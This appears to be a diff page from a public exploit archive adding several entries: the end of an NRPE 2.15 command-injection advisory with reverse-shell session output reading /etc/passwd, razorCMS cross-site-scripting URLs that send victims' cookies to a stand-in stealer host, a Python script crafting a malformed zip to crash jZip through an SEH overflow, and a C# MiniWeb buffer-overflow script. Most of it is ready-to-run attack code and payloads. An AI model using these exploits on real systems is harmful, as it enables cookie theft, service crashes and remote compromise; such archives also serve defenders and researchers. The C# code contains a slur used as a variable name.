Connection from 10.10.10.5 port 8080 [tcp/ddi-tcp-1] accepted
|
||||
sh-4.1$ id
|
||||
uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)
|
||||
sh-4.1$
|
||||
sh-4.1$ cat /etc/passwd | head -n 4 ; pwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
||||
/
|
||||
sh-4.1$ ls -l /tmp/tmp_revshell
|
||||
-rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell
|
||||
sh-4.1$ rm -f /tmp/tmp_revshell
|
||||
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
An attacker could exploit the vulnerability to gain access to the system
|
||||
in the context of a nagios user this could lead to further compromise
|
||||
of the server.
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
Current version of NRPE 2.15 and older are vulnerable.
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Disable command arguments if possible.
|
||||
Protect access to NRPE port and only allow access from a trusted
|
||||
nagios server.
|
||||
Install updated version of NRPE when it becomes available.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
http://www.nagios.org
|
||||
http://sourceforge.net/projects/nagios/files/nrpe-2.x/
|
||||
http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/details
|
||||
http://legalhackers.com/advisories/nagios-nrpe.txt
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
April 17th, 2014: Advisory created
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
|
||||
13
platforms/php/webapps/32924.txt
Executable file
13
platforms/php/webapps/32924.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/34566/info
|
||||
|
||||
razorCMS is prone to a local information-disclosure vulnerability, a local access-validation vulnerability, a security-bypass vulnerability, and multiple cross-site-scripting vulnerabilities.
|
||||
|
||||
Attackers can exploit these issues to gain access to sensitive information, create denial-of-service conditions, gain elevated privileges, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successful exploits may aid in further attacks.
|
||||
|
||||
razorCMS 0.3RC2 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/cms/admin/?action=edit&slab=home'><script>alert('http://yourcookiestealer.org/evil.php?cookie='%20+%20encodeURI(document.cookie)%20+%20'&useragent='%20+%20encodeURI(navigator.userAgent));</script><form
|
||||
|
||||
http://www.example.com/cms/admin/?action=showcats&unpub=true&slabID=1&catname=sidebar'><script>alert('http://yourcookiestealer.org/evil.php?cookie='%20+%20encodeURI(document.cookie)%20+%20'&useragent='%20+%20encodeURI(navigator.userAgent));</script><form
|
||||
|
||||
http://www.example.com/cms/admin/?action=reordercat&cat=sidebar'><script>alert('http://yourcookiestealer.org/evil.php?cookie='%20+%20encodeURI(document.cookie)%20+%20'&useragent='%20+%20encodeURI(navigator.userAgent));</script><form¶m=0,1
|
||||
47
platforms/windows/dos/32899.py
Executable file
47
platforms/windows/dos/32899.py
Executable file
|
|
@ -0,0 +1,47 @@
|
|||
#!/usr/bin/python
|
||||
######################################################
|
||||
# Exploit title: seh unicode buffer overflow (DOS)
|
||||
# Date: 16/04/2014
|
||||
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]
|
||||
# Software Link : http://www.jzip.com/
|
||||
# Version: jZip v2.0.0.132900
|
||||
# Tested On: Windows 7 ultimate
|
||||
########################################################
|
||||
|
||||
import sys, os
|
||||
|
||||
filename = "vuln.zip"
|
||||
|
||||
|
||||
buffer = "\x50\x4B\x03\x04\x14\x00\x00"
|
||||
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
|
||||
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
buffer += "\xe4\x0f"
|
||||
buffer += "\x00\x00\x00"
|
||||
|
||||
eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
|
||||
eo += "\x12\x10\x00\x00"
|
||||
eo += "\x02\x10\x00\x00"
|
||||
eo += "\x00\x00"
|
||||
|
||||
cdf = "\x50\x4B\x01\x02\x14\x00\x14"
|
||||
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
|
||||
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
cdf += "\xe4\x0f"
|
||||
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"
|
||||
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
payload = "A" * 862
|
||||
payload += "\x42\x42" # NSEH
|
||||
payload += "\x42\x42" # SEH
|
||||
payload += "D" * 3198
|
||||
payload += ".txt"
|
||||
|
||||
|
||||
file = open(filename, "w")
|
||||
|
||||
zipfile = buffer + payload + cdf + payload + eo
|
||||
|
||||
file.write(zipfile)
|
||||
file.close()
|
||||
|
||||
46
platforms/windows/remote/32923.cs
Executable file
46
platforms/windows/remote/32923.cs
Executable file
|
|
@ -0,0 +1,46 @@
|
|||
source: http://www.securityfocus.com/bid/34563/info
|
||||
|
||||
MiniWeb is prone to a remote buffer-overflow vulnerability.
|
||||
|
||||
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
||||
|
||||
/* BoF when requesting URI longer than 120~ */
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
|
||||
namespace idiot
|
||||
{
|
||||
class pf
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Console.Write("Enter host:\n");
|
||||
string site = Console.ReadLine();
|
||||
string uri = null;
|
||||
try
|
||||
{
|
||||
for (int i = 0; i < 144; i++) { uri += "/"; }
|
||||
HttpWebRequest request = (HttpWebRequest)
|
||||
HttpWebRequest.Create(site + uri);
|
||||
HttpWebResponse response = (HttpWebResponse)
|
||||
|
||||
request.GetResponse();
|
||||
|
||||
//any response we get means that exploit failed
|
||||
if (response.GetResponseHeader("Content-Lenght") != "a")
|
||||
{
|
||||
Console.WriteLine("Exploit failed");
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception gayexception)
|
||||
{
|
||||
Console.WriteLine("Cannot connect");
|
||||
Console.WriteLine("{0}", gayexception.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue